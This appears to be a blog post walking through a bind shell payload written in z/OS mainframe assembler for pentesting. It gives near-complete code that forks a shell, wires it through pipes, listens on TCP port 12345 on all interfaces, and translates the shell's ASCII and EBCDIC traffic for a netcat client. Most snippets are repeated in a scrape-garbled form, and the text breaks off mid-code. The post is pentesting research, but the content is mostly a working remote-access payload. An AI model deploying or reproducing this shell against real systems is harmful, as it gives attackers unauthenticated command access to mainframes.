Key in any basic toolset for pentesting the mainframe platform is a selection of payloads that can be used to test vulnerabilities.

Below is a bind shell payload, written from scratch in mainframe assembler. The shell can be connected to using netcat. The payload differs from its Intel counterparts, in that it contains its own EBCDIC to ASCII convertor. Because of this, the standard exec(‘/bin/sh’,’sh’) could not be used. Read on for more technical details.

Using the EXEC function causes us to lose control of the STDIN/OUT file descriptors, since we need to translate the character set, this will not work.

Instead I built it to use a FORK/PIPE combo of function so that each inbound byte (presuming 100% of the testing will be done from an ASCII based platform) is converted to EBCDIC and each outbound byte is converted to ASCII.

The full link to the program source code is at the bottom of the post, what follows is a detailed breakdown of the code.

Below is the setup, pretty standard one that I use when developing quick code tests or full apps. Essentially it just saves the callers registers, and sets up ours.

Initial Setup @SETUP DS 0F # full word boundary STM 14,12,12(13) # save our registers LARL 15,@SETUP # base address into R15 LR 8,15 # copy R15 to R8 USING @SETUP,8 # R8 for addressability throughout LARL 11,SAVEAREA # sa address ST 13,4(,11) # save caller's save area LR 13,11 # R13 to our save area DS 0H # halfword boundaries 1 2 3 4 5 6 7 8 9 @ SETUP DS 0F # full word boundary STM 14 , 12 , 12 ( 13 ) # save our registers LARL 15 , @ SETUP # base address into R 15 LR 8 , 15 # copy R 15 to R 8 USING @ SETUP , 8 # R 8 for addressability throughout LARL 11 , SAVEAREA # sa address ST 13 , 4 ( , 11 ) # save caller ' s save area LR 13 , 11 # R 13 to our save area DS 0H # halfword boundaries

Next loads all the addresses of the Assembler Callable Functions we use to execute this program. They are all stored by name in a data segment beginning at FFUNC address. This snippet replaces those names with the actual callable memory address.

Load the function calls @LOADFS L 2,FFUNC # first function we use LHI 3,8 # used for our index L 4,NUMFUNC # number of functions to load @LDLOOP LR 0,2 # load string of func name XR 1,1 # clear R1 SVC 8 # perform LOAD XC 0(8,2),0(2) # clear current Func space ST 0,0(0,2) # store addr in func space AR 2,3 # increment R2 by 8 AHI 4,-1 # decrement R4 CIB 4,0,2,@LDLOOP # compare R4 with 0,if GT loop *********************************************************************** FFUNC DC A(BFRK) # address of first function NUMFUNC DC F'11' # number of funcs listed below BFRK DC CL8'BPX1FRK ' # Fork BEXC DC CL8'BPX1EXC ' # Exec BSOC DC CL8'BPX1SOC ' # Socket BBND DC CL8'BPX1BND ' # Bind BLSN DC CL8'BPX1LSN ' # Listen BACP DC CL8'BPX1ACP ' # Accept BRED DC CL8'BPX1RED ' # Read BWRT DC CL8'BPX1WRT ' # Write BCLO DC CL8'BPX1CLO ' # Close BFCT DC CL8'BPX1FCT ' # Fcntl BPIP DC CL8'BPX1PIP ' # Pipe 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @ LOADFS L 2 , FFUNC # first function we use LHI 3 , 8 # used for our index L 4 , NUMFUNC # number of functions to load @ LDLOOP LR 0 , 2 # load string of func name XR 1 , 1 # clear R 1 SVC 8 # perform LOAD XC 0 ( 8 , 2 ) , 0 ( 2 ) # clear current Func space ST 0 , 0 ( 0 , 2 ) # store addr in func space AR 2 , 3 # increment R 2 by 8 AHI 4 , - 1 # decrement R 4 CIB 4 , 0 , 2 , @ LDLOOP # compare R 4 with 0 , if GT loop * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * FFUNC DC A ( BFRK ) # address of first function NUMFUNC DC F '11' # number of funcs listed below BFRK DC CL 8 'BPX1FRK ' # Fork BEXC DC CL 8 'BPX1EXC ' # Exec BSOC DC CL 8 'BPX1SOC ' # Socket BBND DC CL 8 'BPX1BND ' # Bind BLSN DC CL 8 'BPX1LSN ' # Listen BACP DC CL 8 'BPX1ACP ' # Accept BRED DC CL 8 'BPX1RED ' # Read BWRT DC CL 8 'BPX1WRT ' # Write BCLO DC CL 8 'BPX1CLO ' # Close BFCT DC CL 8 'BPX1FCT ' # Fcntl BPIP DC CL 8 'BPX1PIP ' # Pipe

Below sets up the pipes (two of them) used to communicate between the parent proc and the child proc. Each pipe has a read and a write file descriptor. These will later be used to send bytes to our spawned shell and read the output to pass back to the client.

Pipes for child proc communications @CPIPES LARL 14,@CFD BRC 15,LPIPE # get FDs for child proc @CFD ST 5,CFDR # store child read fd ST 6,CFDW # store child write fd @CPIPE2 LARL 14,@PFD BRC 15,LPIPE # get FDs for parent proc @PFD ST 5,PFDR # store parent read fd ST 6,PFDW # store parent write fd 1 2 3 4 5 6 7 8 @ CPIPES LARL 14 , @ CFD BRC 15 , LPIPE # get FDs for child proc @ CFD ST 5 , CFDR # store child read fd ST 6 , CFDW # store child write fd @ CPIPE 2 LARL 14 , @ PFD BRC 15 , LPIPE # get FDs for parent proc @ PFD ST 5 , PFDR # store parent read fd ST 6 , PFDW # store parent write fd

Once the pipes are built, we fork a child process. Initially the child process has its own copy of the same file descriptors (STDIN,STDOUT,STDERR, etc.) as the parent process.

Fork the child process LFORK L 15,BFRK # load func addr to 15 CALL (15),(CPROCN,RTN_COD,RSN_COD),VL BRAS 0,@PREPCHL LHI 15,1 # load 1 for RC / Debugging L 6,CPROCN # locad Ret val in R6 1 2 3 4 5 LFORK L 15 , BFRK # load func addr to 15 CALL ( 15 ) , ( CPROCN , RTN _ COD , RSN _ COD ) , VL BRAS 0 , @ PREPCHL LHI 15 , 1 # load 1 for RC / Debugging L 6 , CPROCN # locad Ret val in R 6

A key part of this whole program working is contained below in the line that is “CIB 2,0,7,@PREPPAR” In this instruction we check the return value from the fork. Once the fork is complete, the parent process gets the child’s PID (Process ID) as the return value from the fork. The child PID (which picks up execution in the same program as the parent, just after the fork) gets a 0 as a return code.

Using this information, we can now code specifically for the child PID or the parent PID by testing the fork return code.

Just after the CIB instruction (we are executing instructions only in the child process here, the parent jumped to @PREPPAR. The instructions that follow the CIB then, set up the child’s file descriptors (FD) like this:

- The child process inherits both pipes created and all 4 FDs associated (R/W for each) - Close the WRITE FD on one pipe and the READ FD on the other - Duplicate the remaining READ FD and point it to the child's STDIN - Duplicate the remaining WRITE FD and point it to the child's STDOUT/STDERR - Close those READ & WRITE PIPE FDs (now that we've dup'd them) - The READ FD allows the child to READ what the parent has sent - The WRITE FD allows the child to WRITE back to the parent 1 2 3 4 5 6 7 - The child process inherits both pipes created and all 4 FDs associated ( R / W for each ) - Close the WRITE FD on one pipe and the READ FD on the other - Duplicate the remaining READ FD and point it to the child 's STDIN - Duplicate the remaining WRITE FD and point it to the child' s STDOUT / STDERR - Close those READ & amp ; WRITE PIPE FDs ( now that we 've dup' d them ) - The READ FD allows the child to READ what the parent has sent - The WRITE FD allows the child to WRITE back to the parent

Setup child file descriptors @PREPCHL L 2,CPROCN # load child proc # to R2 CIB 2,0,7,@PREPPAR # R2 not 0? We're parent, move on LARL 14,@PRC1 LA 2,F_CLOSFD L 5,PFDW # load R5 with pfdw L 6,PFDW # load R5 with pfdw @PRC0 BRC 15,LFCNTL # call close @PRC1 LARL 14,@PRC2 LA 2,F_CLOSFD L 5,CFDR # load R5 with cfdr L 6,CFDR # load R5 with cfdr BRC 15,LFCNTL # call close @PRC2 LARL 14,@PRC3 LA 2,F_DUPFD2 # gonna do a dup2 L 5,PFDR # parent read fd LGFI 6,0 # std input BRC 15,LFCNTL # call dupe2 @PRC3 LARL 14,@PRC4 LA 2,F_DUPFD2 # gonna do a dup2 L 5,CFDW # child write fd LGFI 6,1 # std output BRC 15,LFCNTL # call dupe2 @PRC4 LARL 14,@PRC5 # if 0 we are in child pid, goto exec LA 2,F_DUPFD2 # gonna do a dup2 L 5,CFDW # child write fd LGFI 6,2 # std error BRC 15,LFCNTL # call dupe2 @PRC5 LARL 14,@PRC6 LA 2,F_CLOSFD L 5,PFDR # load R5 with pfdr L 6,PFDR # load R5 with pfdr BRC 15,LFCNTL # call close @PRC6 LARL 14,@PRC7 LA 2,F_CLOSFD L 5,CFDW # load R5 with cfdw L 6,CFDW # load R5 with cfdw BRC 15,LFCNTL # call close @PRC7 BRAS 0,LEXEC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 @ PREPCHL L 2 , CPROCN # load child proc # to R 2 CIB 2 , 0 , 7 , @ PREPPAR # R 2 not 0 ? We ' re parent , move on LARL 14 , @ PRC 1 LA 2 , F _ CLOSFD L 5 , PFDW # load R 5 with pfdw L 6 , PFDW # load R 5 with pfdw @ PRC 0 BRC 15 , LFCNTL # call close @ PRC 1 LARL 14 , @ PRC 2 LA 2 , F _ CLOSFD L 5 , CFDR # load R 5 with cfdr L 6 , CFDR # load R 5 with cfdr BRC 15 , LFCNTL # call close @ PRC 2 LARL 14 , @ PRC 3 LA 2 , F _ DUPFD 2 # gonna do a dup 2 L 5 , PFDR # parent read fd LGFI 6 , 0 # std input BRC 15 , LFCNTL # call dupe 2 @ PRC 3 LARL 14 , @ PRC 4 LA 2 , F _ DUPFD 2 # gonna do a dup 2 L 5 , CFDW # child write fd LGFI 6 , 1 # std output BRC 15 , LFCNTL # call dupe 2 @ PRC 4 LARL 14 , @ PRC 5 # if 0 we are in child pid , goto exec LA 2 , F _ DUPFD 2 # gonna do a dup 2 L 5 , CFDW # child write fd LGFI 6 , 2 # std error BRC 15 , LFCNTL # call dupe 2 @ PRC 5 LARL 14 , @ PRC 6 LA 2 , F _ CLOSFD L 5 , PFDR # load R 5 with pfdr L 6 , PFDR # load R 5 with pfdr BRC 15 , LFCNTL # call close @ PRC 6 LARL 14 , @ PRC 7 LA 2 , F _ CLOSFD L 5 , CFDW # load R 5 with cfdw L 6 , CFDW # load R 5 with cfdw BRC 15 , LFCNTL # call close @ PRC 7 BRAS 0 , LEXEC

Pipes set up; now a shell can be exec’d. This process will inherit the FDs we just create, it’s STDIN,OUT,ERR mapped to the parent PID via pipes.

Launch shell in child process LEXEC L 15,BEXC # load func addr to 15 CALL (15),(EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL, x EXENVC,EXENVLL,EXENVL, x EXITRA,EXITPLA, x RTN_VAL,RTN_COD,RSN_COD),VL BRAS 0,GOODEX # exit child proc after exec 1 2 3 4 5 6 LEXEC L 15 , BEXC # load func addr to 15 CALL ( 15 ) , ( EXCMDL , EXCMD , EXARGC , EXARGLL , EXARGL , x EXENVC , EXENVLL , EXENVL , x EXITRA , EXITPLA , x RTN_VAL , RTN _ COD , RSN _ COD ) , VL BRAS 0 , GOODEX # exit child proc after exec

This section is where the parent PID jumps after the fork and CIB stmt in step 5 above. Here we also groom our pipe FDs, closing the READ FD on the pipe that corresponds with the WRITE FD closed by the child initially. Also, close the WRITE FD on the same pipe as the READ FD the child closed initially. This is by far the most confusing part of the whole setup.

Prepare parent pid for communication @PREPPAR LARL 14,@PRP1 LA 2,F_CLOSFD L 5,PFDR # load R5 with pfdr L 6,PFDR # load R5 with pfdr BRC 15,LFCNTL # call close @PRP1 LARL 14,LSOCK LA 2,F_CLOSFD L 5,CFDW # load R5 with cfdw L 6,CFDW # load R5 with cfdw BRC 15,LFCNTL # call close 1 2 3 4 5 6 7 8 9 10 @ PREPPAR LARL 14 , @ PRP 1 LA 2 , F _ CLOSFD L 5 , PFDR # load R 5 with pfdr L 6 , PFDR # load R 5 with pfdr BRC 15 , LFCNTL # call close @ PRP 1 LARL 14 , LSOCK LA 2 , F _ CLOSFD L 5 , CFDW # load R 5 with cfdw L 6 , CFDW # load R 5 with cfdw BRC 15 , LFCNTL # call close

Here are the Socket,Bind,Listen and Accept calls that are pretty standard, if you’ve done any socket work, this will look very familiar. At the end of the accept call, the machine is listening on the port you specific and waiting for a connection from the client.

Create socket,bind,listen,accept LSOCK L 15,BSOC # load func addr to 15 CALL (15),(DOM,TYPE,PROTO,DIM,SRVFD, x RTN_VAL,RTN_COD,RSN_COD),VL *********************************************************************** LBIND L 15,BBND # load func addr to 15 LA 5,SRVSKT # addr of our socket USING SOCKADDR,5 # layout sockaddr over R5 XC SOCKADDR(16),SOCKADDR # zero sock addr struct MVI SOCK_FAMILY,AF_INET # family inet MVI SOCK_LEN,SOCK#LEN # len of socket MVC SOCK_SIN_PORT,LISTSOCK # list on PORT 12345 MVC SOCK_SIN_ADDR,LISTADDR # listen on 0.0.0.0 DROP 5 CALL (15),(SRVFD,SOCKLEN,SRVSKT, x RTN_VAL,RTN_COD,RSN_COD),VL *********************************************************************** LLIST L 15,BLSN # load func addr to 15 CALL (15),(SRVFD,BACKLOG, x RTN_VAL,RTN_COD,RSN_COD),VL *********************************************************************** LACPT L 15,BACP # load func addr to 15 LA 5,CLISKT # addr of our socket address USING SOCKADDR,5 # set up addressing for sock struct XC SOCKADDR(8),SOCKADDR #zero sock addr struct MVI SOCK_FAMILY,AF_INET MVI SOCK_LEN,(SOCK#LEN+SOCK_SIN#LEN) DROP 5 CALL (15),(SRVFD,CLILEN,CLISKT, x CLIFD,RTN_COD,RSN_COD),VL 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 LSOCK L 15 , BSOC # load func addr to 15 CALL ( 15 ) , ( DOM , TYPE , PROTO , DIM , SRVFD , x RTN_VAL , RTN _ COD , RSN _ COD ) , VL * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * LBIND L 15 , BBND # load func addr to 15 LA 5 , SRVSKT # addr of our socket USING SOCKADDR , 5 # layout sockaddr over R 5 XC SOCKADDR ( 16 ) , SOCKADDR # zero sock addr struct MVI SOCK _ FAMILY , AF _ INET # family inet MVI SOCK _ LEN , SOCK # LEN # len of socket MVC SOCK _ SIN _ PORT , LISTSOCK # list on PORT 12345 MVC SOCK _ SIN _ ADDR , LISTADDR # listen on 0.0.0.0 DROP 5 CALL ( 15 ) , ( SRVFD , SOCKLEN , SRVSKT , x RTN_VAL , RTN _ COD , RSN _ COD ) , VL * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * LLIST L 15 , BLSN # load func addr to 15 CALL ( 15 ) , ( SRVFD , BACKLOG , x RTN_VAL , RTN _ COD , RSN _ COD ) , VL * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * LACPT L 15 , BACP # load func addr to 15 LA 5 , CLISKT # addr of our socket address USING SOCKADDR , 5 # set up addressing for sock struct XC SOCKADDR ( 8 ) , SOCKADDR # zero sock addr struct MVI SOCK _ FAMILY , AF _ INET MVI SOCK _ LEN , ( SOCK # LEN + SOCK _ SIN # LEN ) DROP 5 CALL ( 15 ) , ( SRVFD , CLILEN , CLISKT , x CLIFD , RTN _ COD , RSN _ COD ) , VL

After the initial connection is made, we are going set the Client socket FD and the FD used to read from the child process to non-blocking. Doing so allows us to monitor both quickly, allowing near instantaneous response and long interactions.

Set certain file descriptors to non-blocking @SNB1 LARL 14,@SNB2 LA 2,F_GETFL # get file status flags L 5,CLIFD # client sock fd XR 6,6 # for getfd, arg is 0 BRC 15,LFCNTL # call dupe2 @TFLAG DC F'0' @SNB2 ST 7,@TFLAG # R7 will have our flags LA 5,O_NONBLOCK # add non-blocking flag OR 7,5 # or to add the flag to R7 LARL 14,@SNB3 LA 2,F_SETFL # set file status flags L 5,CLIFD # client sock fd LR 6,7 # put new flags in R6 BRC 15,LFCNTL # call dupe2 @SNB3 LARL 14,@SNB4 LA 2,F_GETFL # get file status flags L 5,CFDR # child fd read XR 6,6 # for getfd, arg is 0 BRC 15,LFCNTL # call dupe2 @SNB4 ST 7,@TFLAG # R7 will have our flags LA 5,O_NONBLOCK # add non-blocking flag OR 7,5 # or to add the flag to R7 LARL 14,@READCLI # when we ret, enter main loop LA 2,F_SETFL # set file status flags L 5,CFDR # child fd read LR 6,7 # put new flags in R6 BRC 15,LFCNTL # call dupe2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @ SNB 1 LARL 14 , @ SNB 2 LA 2 , F _ GETFL # get file status flags L 5 , CLIFD # client sock fd XR 6 , 6 # for getfd , arg is 0 BRC 15 , LFCNTL # call dupe 2 @ TFLAG DC F '0' @ SNB 2 ST 7 , @ TFLAG # R 7 will have our flags LA 5 , O _ NONBLOCK # add non - blocking flag OR 7 , 5 # or to add the flag to R 7 LARL 14 , @ SNB 3 LA 2 , F _ SETFL # set file status flags L 5 , CLIFD # client sock fd LR 6 , 7 # put new flags in R 6 BRC 15 , LFCNTL # call dupe 2 @ SNB 3 LARL 14 , @ SNB 4 LA 2 , F _ GETFL # get file status flags L 5 , CFDR # child fd read XR 6 , 6 # for getfd , arg is 0 BRC 15 , LFCNTL # call dupe 2 @ SNB 4 ST 7 , @ TFLAG # R 7 will have our flags LA 5 , O _ NONBLOCK # add non - blocking flag OR 7 , 5 # or to add the flag to R 7 LARL 14 , @ READCLI # when we ret , enter main loop LA 2 , F _ SETFL # set file status flags L 5 , CFDR # child fd read LR 6 , 7 # put new flags in R 6 BRC 15 , LFCNTL # call dupe 2

This is the main loop of the program. Initially it perpetually reads from the client socket, waiting for input. Once input is received, it converts that input byte by byte from ASCII to EBCDIC. The EBCDIC bytes are then written to the child process via one of our pipes. After a write, the child process is read until there is no more output waiting.

Bytes read from the child process (output from our shell) are converted back to ASCII and written to the client’s socket, then the loop carries on.

Main read/write loop @READCLI L 5,CLIFD # read from CLIFD LA 7,@READCFD # Nothing read, return to here LARL 14,@A2E1 # Bytes read, return to here BRC 15,LREAD # Brach to read function *********************************************************************** @A2E1 LARL 14,@CCW1 # load return area in r14 BRC 15,CONVAE # call e2a func @CCW1 LARL 14,@READCFD # after write, read child fd L 5,PFDW # write to child process fd BRC 15,LWRITE # call write function *********************************************************************** @READCFD L 5,CFDR # read from child fd LA 7,@READCLI # nothing read, back to socket read LARL 14,@E2A1 # Bytes read, return to here BRC 15,LREAD # Branch to read function *********************************************************************** @E2A1 LARL 14,@CCW2 # load return area in r14 BRC 15,CONVEA # call e2a func @CCW2 LARL 14,@READCFD # loop read child proc fd after write L 5,CLIFD # write to client socked fd BRC 15,LWRITE # call write function 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @ READCLI L 5 , CLIFD # read from CLIFD LA 7 , @ READCFD # Nothing read , return to here LARL 14 , @ A 2 E 1 # Bytes read , return to here BRC 15 , LREAD # Brach to read function * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * @ A 2 E 1 LARL 14 , @ CCW 1 # load return area in r 14 BRC 15 , CONVAE # call e 2 a func @ CCW 1 LARL 14 , @ READCFD # after write , read child fd L 5 , PFDW # write to child process fd BRC 15 , LWRITE # call write function * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * @ READCFD L 5 , CFDR # read from child fd LA 7 , @ READCLI # nothing read , back to socket read LARL 14 , @ E 2 A 1 # Bytes read , return to here BRC 15 , LREAD # Branch to read function * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * @ E 2 A 1 LARL 14 , @ CCW 2 # load return area in r 14 BRC 15 , CONVEA # call e 2 a func @ CCW 2 LARL 14 , @ READCFD # loop read child proc fd after write L 5 , CLIFD # write to client socked fd BRC 15 , LWRITE # call write function

These are the common functions called by the segments above: READ,WRITE,FCNTL,PIPE. Notations are made in the full source code about any inputs / outputs to these functions.

Common Functions: READ,WRITE,FCNTL,PIPE *********************************************************************** LREAD L 15,BRED # load func addr to 15 ST 5,@TRFD # file descriptor we are reading ST 7,@NRA # no bytes read: return address ST 14,SAVEAREA # bytes read: return address XR 1,1 # clear R1 ST 1,BREAD # clear Bytes Read L 5,CLIBUF # clibuf addr XC 0(52,5),0(5) # 0 out cli buf BRAS 0,@CRED # jump to call @TRFD DC 4XL1'0' # temp var for rd to read @NRA DC 4XL1'0' # temp var for not read ret addr @CRED CALL (15),(@TRFD,CLIBUF,ALET,CLIREAD, x BREAD,RTN_COD,RSN_COD),VL L 14,SAVEAREA # bytes read RA L 7,@NRA # no bytes read RA LHI 15,6 # exit code for this function L 6,BREAD # bytes read (aka rtn val) CIB 6,0,2,0(14) # bytes read, process them CIB 6,0,8,0(7) # OK rtn code, on to nobyte read L 6,RTN_COD # load up return code LA 1,EWOULDBLOCK # load up the non-blocking RTNCOD LA 2,EAGAIN # load up the other OK nblck RTNCOD CRB 6,1,8,0(7) # OK rtn code, on to nobyte read CRB 6,2,8,0(7) # OK rtn code, on to nobyte read BRAS 0,EXITP # -1 and not due to blocking, exit *********************************************************************** LWRITE L 15,BWRT # load func addr to 15 ST 5,@TWFD # store fd in temp fd ST 14,SAVEAREA # save return address BRAS 0,@CWRT # jump to write @TWFD DC A(*) # temp holder for fd @CWRT CALL (15),(@TWFD,CLIBUF,ALET,BREAD, x BWRIT,RTN_COD,RSN_COD),VL L 14,SAVEAREA # restore return address LHI 15,9 # exit code for this func L 6,BWRIT # set r6 to rtn val CIB 6,-1,8,EXITP # exit if R6 = -1 BCR 15,14 # back to return address *********************************************************************** LFCNTL L 15,BFCT # load func addr to 15 ST 14,SAVEAREA # save return address ST 5,@FFD # fd to be duplicated ST 2,@ACT # action field for BPX1FCT ST 6,@ARG # r6 should have the biggest fd BRAS 0,@FCTL @FFD DC F'0' @ACT DC F'0' @ARG DC F'0' @RETFD DC F'0' @FCTL CALL (15),(@FFD,@ACT,@ARG,@RETFD,RTN_COD,RSN_COD),VL LHI 15,11 # exit code for this func L 7,@RETFD # set r7 to rtn val CIB 7,-1,8,EXITP # r6 = -1 exit L 14,SAVEAREA # reload ret address BCR 15,14 # return to caller *********************************************************************** LPIPE L 15,BPIP # load func addr to 15 ST 14,SAVEAREA # save return address BRAS 0,@PIP @RFD DC F'0' # read file desc @WFD DC F'0' # write file desc @PIP CALL (15),(@RFD,@WFD,RTN_VAL,RTN_COD,RSN_COD),VL LHI 15,12 # exit code for this func L 6,BWRIT # set r6 to rtn val CIB 6,-1,8,EXITP L 5,@RFD # load R5 with read fd L 6,@WFD # load R6 with write fd L 14,SAVEAREA # reload ret address BCR 15,14 # return to caller 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * LREAD L 15 , BRED # load func addr to 15 ST 5 , @ TRFD # file descriptor we are reading ST 7 , @ NRA # no bytes read : return address ST 14 , SAVEAREA # bytes read : return address XR 1 , 1 # clear R 1 ST 1 , BREAD # clear Bytes Read L 5 , CLIBUF # clibuf addr XC 0 ( 52 , 5 ) , 0 ( 5 ) # 0 out cli buf BRAS 0 , @ CRED # jump to call @ TRFD DC 4XL1 '0' # temp var for rd to read @ NRA DC 4XL1 '0' # temp var for not read ret addr @ CRED CALL ( 15 ) , ( @ TRFD , CLIBUF , ALET , CLIREAD , x BREAD , RTN _ COD , RSN _ COD ) , VL L 14 , SAVEAREA # bytes read RA L 7 , @ NRA # no bytes read RA LHI 15 , 6 # exit code for this function L 6 , BREAD # bytes read ( aka rtn val ) CIB 6 , 0 , 2 , 0 ( 14 ) # bytes read , process them CIB 6 , 0 , 8 , 0 ( 7 ) # OK rtn code , on to nobyte read L 6 , RTN _ COD # load up return code LA 1 , EWOULDBLOCK # load up the non - blocking RTNCOD LA 2 , EAGAIN # load up the other OK nblck RTNCOD CRB 6 , 1 , 8 , 0 ( 7 ) # OK rtn code , on to nobyte read CRB 6 , 2 , 8 , 0 ( 7 ) # OK rtn code , on to nobyte read BRAS 0 , EXITP # - 1 and not due to blocking , exit * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * LWRITE L 15 , BWRT # load func addr to 15 ST 5 , @ TWFD # store fd in temp fd ST 14 , SAVEAREA # save return address BRAS 0 , @ CWRT # jump to write @ TWFD DC A ( * ) # temp holder for fd @ CWRT CALL ( 15 ) , ( @ TWFD , CLIBUF , ALET , BREAD , x BWRIT , RTN _ COD , RSN _ COD ) , VL L 14 , SAVEAREA # restore return address LHI 15 , 9 # exit code for this func L 6 , BWRIT # set r 6 to rtn val CIB 6 , - 1 , 8 , EXITP # exit if R 6 = - 1 BCR 15 , 14 # back to return address * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * LFCNTL L 15 , BFCT # load func addr to 15 ST 14 , SAVEAREA # save return address ST 5 , @ FFD # fd to be duplicated ST 2 , @ ACT # action field for BPX 1 FCT ST 6 , @ ARG # r 6 should have the biggest fd BRAS 0 , @ FCTL @ FFD DC F '0' @ ACT DC F '0' @ ARG DC F '0' @ RETFD DC F '0' @ FCTL CALL ( 15 ) , ( @ FFD , @ ACT , @ ARG , @ RETFD , RTN _ COD , RSN _ COD ) , VL LHI 15 , 11 # exit code for this func L 7 , @ RETFD # set r 7 to rtn val CIB 7 , - 1 , 8 , EXITP # r 6 = - 1 exit L 14 , SAVEAREA # reload ret address BCR 15 , 14 # return to caller * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * LPIPE L 15 , BPIP # load func addr to 15 ST 14 , SAVEAREA # save return address BRAS 0 , @ PIP @ RFD DC F '0' # read file desc @ WFD DC F '0' # write file desc @ PIP CALL ( 15 ) , ( @ RFD , @ WFD , RTN _ VAL , RTN _ COD , RSN _ COD ) , VL LHI 15 , 12 # exit code for this func L 6 , BWRIT # set r 6 to rtn val CIB 6 , - 1 , 8 , EXITP L 5 , @ RFD # load R 5 with read fd L 6 , @ WFD # load R 6 with write fd L 14 , SAVEAREA # reload ret address BCR 15 , 14 # return to caller

These two functions are customized ASCII to EBCDIC and vice versa. They very simply use 2 lookup tables of 255 bytes each. The E2A table are ASCII bytes ordered by EBCDIC index, the reverse for the other. So to change the ASCII byte \x41 to EBCDIC \xc1, for instance, you’d look up the \x41st element in the A2E table and read the corresponding byte (\xc1). The opposite table for the reverse conversion.

Custom functions A2E/E2A CONVAE LHI 6,1 # R6 has number 1 L 4,BREAD # num of bytes read L 1,CLIBUF # address of cli sock input LOOP1 L 2,A2E # address of a2e buff SR 2,6 # subtract 1 from R2 addr LB 3,0(0,1) # Load byte from cli into R3 NILF 3,X'FF' # make sure R3 is 1 positive byte AR 2,3 # add ascii val to a2e buff LB 3,0(0,2) # load byte from a2e buff into R3 NILF 3,X'FF' # make sure R3 is 1 positive byte STC 3,0(0,1) # store R3 byte back into cli buff AR 1,6 # increment client buff SR 4,6 # sub1 from ctr, loop if non-neg BRC 7,LOOP1 # looop BCR 15,14 # return to caller *********************************************************************** CONVEA LHI 6,1 # R6 has number 1 L 4,BREAD # num of bytes read L 1,CLIBUF # address of cli sock input LOOP2 L 2,E2A # address of e2a buff SR 2,6 # subtract 1 from R2 addr LB 3,0(0,1) # Load byte from cli into R3 NILF 3,X'FF' # make sure R3 is 1 positive byte AR 2,3 # add ascii val to e2a buff LB 3,0(0,2) # load byte from e2a buff into R3 STC 3,0(0,1) # store R3 byte back into cli buff NILF 3,X'FF' # make sure R3 is 1 positive byte AR 1,6 # increment client buff SR 4,6 # sub1 from ctr, loop if non-neg BRC 7,LOOP2 # looop BCR 15,14 # return to caller *********************************************************************** E2ABUF DC X'0102039c09867f978d8e0b0c0d0e0f101112139d0a08871819928fX 1c1d1e1f808182838485171b88898a8b8c0506079091169394959604X 98999a9b14159e1a20a0e2e4e0e1e3e5e7f1a22e3c282b7c26e9eaebX e8edeeefecdf21242a293b5e2d2fc2c4c0c1c3c5c7d1a62c255f3e3fX f8c9cacbc8cdcecfcc603a2340273d22' DC X'd8616263646566676869abbbf0fdfeb1b06a6b6c6d6e6f707172aaX bae6b8c6a4b57e737475767778797aa1bfd05bdeaeaca3a5b7a9a7b6X bcbdbedda8af5db4d77b414243444546474849adf4f6f2f3f57d4a4bX 4c4d4e4f505152b9fbfcf9faff5cf7535455565758595ab2d4d6d2d3X d530313233343536373839b3dbdcd9da' DC X'9f' E2A DC A(E2ABUF) *********************************************************************** A2EBUF DC X'010203372d2e2f1605150b0c0d0e0f101112133c3d322618193f27X 1c1d1e1f405a7f7b5b6c507d4d5d5c4e6b604b61f0f1f2f3f4f5f6f7X f8f97a5e4c7e6e6f7cc1c2c3c4c5c6c7c8c9d1d2d3d4d5d6d7d8d9e2X e3e4e5e6e7e8e9ade0bd5f6d79818283848586878889919293949596X 979899a2a3a4a5a6a7a8a9c04fd0a107' DC X'202122232425061728292a2b2c090a1b30311a333435360838393aX 3b04143eff41aa4ab19fb26ab5bbb49a8ab0caafbc908feafabea0b6X b39dda9b8bb7b8b9ab6465626663679e687471727378757677ac69edX eeebefecbf80fdfefbfcbaae594445424643479c4854515253585556X 578c49cdcecbcfcce170dddedbdc8d8e' DC X'df' A2E DC A(A2EBUF) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 CONVAE LHI 6 , 1 # R 6 has number 1 L 4 , BREAD # num of bytes read L 1 , CLIBUF # address of cli sock input LOOP1 L 2 , A 2 E # address of a 